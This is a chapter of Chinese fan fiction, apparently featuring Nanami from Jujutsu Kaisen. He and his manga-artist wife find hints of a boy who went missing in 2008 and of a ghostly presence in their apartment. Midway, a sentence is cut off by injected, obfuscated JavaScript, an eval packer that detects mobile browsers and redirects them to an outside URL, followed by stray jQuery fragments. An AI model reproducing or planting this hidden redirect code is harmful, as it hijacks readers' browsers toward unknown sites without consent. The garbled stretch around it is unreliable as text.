七海没有直接去超市。
他先去了公寓一楼的物业管理处。
管理员小林小姐正在整理文件，看到他进来，有些意外。
“七海先生？有什么事吗？”
“关于外墙防水工程的分摊费用。”七海说，“我想确认一下具体的工程范围和报价明细。”
“好的。”小林小姐找出文件，“这是工程公司的报价单……”
七海接过文件，仔细查看。
“另外，”他看似随意地问，“这栋楼的历史档案还有保存吗？我们想了解建筑结构的一些细节，方便后续装修。”
“历史档案？”小林小姐想了想，“有一些基本资料。这栋楼是1985年建的，到现在三十多年了。业主换了好几轮，很多记录都不全了。”
“我可以看看吗？”
“可以是可以……”小林小姐有些犹豫，“但真的没什么重要内容。就是建筑图纸、验收报告之类的。”
“足够了。”七海说，“我们想了解承重墙的位置。”
这个理由很合理。
小林小姐从柜子里找出一个文件夹，递给他。
“就是这些。不能带走，只能在这里看。”
“好的，谢谢。”
七海翻开文件夹。
里面确实是些普通文件:建筑平面图、水电管线图、历年维修记录。
他的目光快速扫过，寻找任何异常信息。
翻到一半时，他停下了。
那是一份2008年的维修记录单。项目是“606室水管维修”，备注栏里有一行小字:
“住户报告异常声响，经检查无问题。建议观察。”
异常声响。
七海记下这个细节，继续翻看。
后面还有几份类似的记录:
2005年，504室“门窗无故晃动”；
2010年，302室“墙壁渗水但无水源”；
2012年，701室“电器异常断电”。
时间跨度很大，涉及不同楼层、不同住户。看起来都是些零散的小问题，没什么关联性。
他翻到文件夹最后，那里夹着几页新闻剪报的复印件。
纸张已经泛黄，上面的日期是2008年6月。
标题是:“东京xx区儿童失踪事件警方持续搜索”。
内容很简短:一名7岁男童在社区公园玩耍时失踪，警方展开大规模搜索但未发现线索。男童名叫佐藤健太，住址是……
阳光公寓，503室。
七海的手指在纸面上停顿。
503室，就在他们楼下。
失踪时间:2008年6月15日，下午三点至五点。
最后目击地点:社区公园，秋千附近。
七海抬起头，看向窗外。
从这里可以看到公园的一角，秋千在夕阳下投出长长的影子。
“七海先生？”小林小姐的声音让他回过神。
“看完了吗？”
“差不多了。”七海合上文件夹，还给她，“谢谢。这些资料很有帮助。”
“有帮助就好。”小林小姐接过文件夹，“不过都是过去的事了。那孩子……一直没找到。他父母后来也搬走了。”
她的声音里带着叹息。
七海点点头，没有再多问。
他离开物业管理处，走向超市。
下午的阳光很好，但七海觉得背后有些发冷。
从超市回来时，天色已经暗了。
七海提着购物袋打开门，发现客厅的灯亮着，但很安静。
他放下东西，走向书房。
悠趴在书桌上睡着了，脸枕在素描本上，炭笔还握在手里。
她画了一半的分镜散落在桌上，线条流畅但透着诡异——画面里是一个老旧的公寓房间，角落里蜷缩着一团阴影。
七海轻轻抽出她手里的炭笔，放在一旁。然后弯腰，小心地抱起她。
悠在梦中哼了一声，但没有醒，只是往他怀里缩了缩。
七海把她抱进卧室，放在床上，盖好被子。悠在睡梦中翻了个身，抱住枕头，继续沉睡。
七海站在床边看了她一会儿，然后关上台灯，走出卧室。
他回到书房，整理悠的画稿。
分镜稿大概完成了三分之一，故事似乎是关于一个女孩搬进老房子后，发现房子里有“另一个住客”。
画风细腻但氛围压抑。
在整理时，一张草图从本子里滑落。
七海捡起来，发现那是一张速写——画的是这间公寓的客厅。但画面里多了一样东西:在电视柜旁边的地板上，那块“猫形污渍”的位置，悠画上了一个蜷缩的小小人形。
人形没有脸，只有模糊的轮廓，但能看出是个孩子的姿态。
草图边缘有一行小字，是悠的笔迹:
“它在这里很久了。它不坏，只是孤独。”
七海拿着这张纸，看了很久。
然后他轻轻将草图放回素描本，合上。
走进厨房，他开始准备晚餐。冰箱里有今天坂本太太送的蔬菜，超市买的鸡肉，还有昨天剩下的米饭。
他决定做亲子丼，简单又温暖。
切洋葱的时候，他想起顺平问的那个问题。
想起公园秋千上的手掌印。
想起文件夹里2008年的剪报。
还有悠草图上的那句话。
“它在这里很久了。它不坏，只是孤独。”
锅里的油热了，七海将鸡肉放进去，发出滋啦的声响。香味弥漫开来。
他把做好的亲子丼盛进两个碗里，摆上餐桌。
然后去卧室叫悠。
悠还睡着，头发散在枕头上，呼吸均匀。七海坐在床边，轻轻摇了摇她的肩膀。
“悠，晚餐准备好了。”
“嗯……”悠迷迷糊糊地睁开眼睛，“七海海……我睡着了？”
“嗯。起来吃饭吧。”
悠坐起身，揉了揉眼睛。
“我梦到了奇怪的东西。”她轻声说，“梦到一个小男孩，在公园里玩秋千。他一直在问‘有人吗？有人吗？’，但没有人回答他。”
七海的动作停顿了一瞬。
“只是个梦。”他说。
“我知道。”悠点点头，然后露出笑容，“不过七海海叫我吃饭的样子好温柔。我喜欢这样的七海海。”
她凑过来，在他脸上轻轻亲了一下。
“谢谢老公大人。”
七海的耳朵又红了。
“……去洗脸，吃饭要凉了。”
晚餐时，悠说起今天的创作进展。
“新连载的构思差不多确定了。”她一边吃饭一边说，“是关于老房子和记忆的故事。房子会记住住在里面的人，即使人离开了，记忆还是会留在那里。”
“听起来很有深度。”七海说。
“是吗？”悠眼睛亮起来，“我还担心太沉重了。不过编辑说现在读者喜欢这种带点恐怖又带点温情的故事。”
“恐怖和温情并不矛盾。”七海说，“很多时候，最恐怖的东西，都源于最温柔的情感。”
悠看着他，眼神有些惊讶。
“七海海说得真好。”她轻声说，“有时候我觉得，你比我更懂这些。”
七海没有接话。
他想起那些死去的同伴，想起咒灵往往由人类的负面情感孕育而生。
最深的诅咒，往往源于最深的爱或最深的恨。
爱会扭曲，会变质，会成为束缚。
也会成为拯救。
饭后，两人一起洗碗。
悠负责洗，七海负责擦干和收纳。厨房的窗户映出两人的倒影，靠得很近。
“七海海。”悠忽然说。
“嗯？”
“如果……我是说如果。”她的声音很轻，“这间房子里真的有什么……东西。你会怎么做？”
七海停下手中的动作，看向她。
“为什么这么问？”
“不知道。”悠摇摇头，目光落在水槽的泡沫上，“就是有时候感觉……这房子好像不只是房子。它好像有自己的生命，自己的记忆。”
她抬起头，黑色眼眸在厨房灯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154057|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光下像深潭。
“我知道这听起来很荒谬。房子怎么可能有生命？但我就是有这种感觉。从搬进来的第一天就有。”
“感觉没有对错之分。”他说，“如果你有这样的感觉，我们可以想办法改善居住环境。比如重新装修，改变布局，或者……”
“或者什么？”
“或者找出感觉的来源。”七海说，“有时候，恐惧源于未知。了解了真相，反而能安心。”
悠沉默了几秒，然后点点头。
“也许吧。”她说，“不过现在这样也挺好的。有七海海在，我什么都不怕。”
她说完，继续洗碗。七海看着她的侧脸，然后继续擦碗。
晚上十点，两人躺在床上。
悠侧躺着，面对七海的方向。她的手伸过来，轻轻握着他的手。
“七海海。”
“嗯？”
“今天谢谢你。”她的声音在黑暗里很轻，“谢谢你照顾表姐和顺平，谢谢你做晚餐，谢谢你……所有的一切。”
“这是我应该做的。”
“我知道。”悠说，“但还是很感谢。”
她挪近了一些，额头抵着他的肩膀。
“七海海。”
“嗯。”
“你会不会觉得……我有点奇怪？”
“为什么这么问？”
“因为我会画恐怖漫画，会做奇怪的梦，会说房子有生命……”悠的声音越来越小，“普通人不会这样吧？”
七海在黑暗中沉默了几秒，然后翻身面对她，手臂轻轻环住她。
“每个人都有自己的特别之处。”他说，“你的特别不是缺点，而是你的一部分。我喜欢这样的你。”
悠的身体微微僵了一下，然后慢慢放松。她往他怀里缩了缩，脸埋在他胸口。
“七海海……”
“嗯。”
“你真好。”
七海没有回答，只是轻轻抚摸着她的头发。悠的呼吸渐渐变得均匀，像是要睡着了。
但就在七海也准备闭上眼睛时，悠忽然又开口了。
“七海海。”
“嗯？”
“如果有一天，你发现我……不是你以为的样子。”她的声音很轻，轻得像叹息，“你还会喜欢我吗？”
这个问题在黑暗中显得格外清晰。七海的手停顿了一下，然后继续抚摸她的头发。
“你永远是你。”他说，“这就够了。”
悠没有再说话。几分钟后，她的呼吸完全平稳下来，睡着了。
七海却醒着。
他听着她的呼吸声，感受着她身体的温度和重量，想着她刚才的问题。
“如果有一天，你发现我……不是你以为的样子。”
其实他早就知道，悠有秘密。她看东西的眼神有时候太过专注，她问的问题有时候太过具体，她对这间房子的感觉有时候太过敏锐。
但谁没有秘密呢？
他也有。他是前咒术师，他能看见常人看不见的东西，他曾经在另一个世界生活过。
也许有一天，他们会互相坦白。
但不是现在。
现在，他们只是普通的夫妻，住在普通的公寓里，过着普通的生活。
窗外的月光透过窗帘的缝隙洒进来，在地板上切出一道细细的光带。
七海闭上眼睛，准备入睡。
但就在这时，他听见了。
很轻很轻的声音，从客厅的方向传来。
像是……孩子的笑声。
很短暂，只有一声。
然后消失了。
七海睁开眼睛，看向卧室门的方向。门关着，客厅一片漆黑。
他静静听着。
没有声音。
只有悠平稳的呼吸，和他自己的心跳。
也许只是错觉。
或者风声。
或者……
他闭上眼睛，把悠抱得更紧一些。
无论是什么，都不能打扰他现在的生活。
这是他选择的，也是他要守护的。
普通的、平静的、幸福的生活。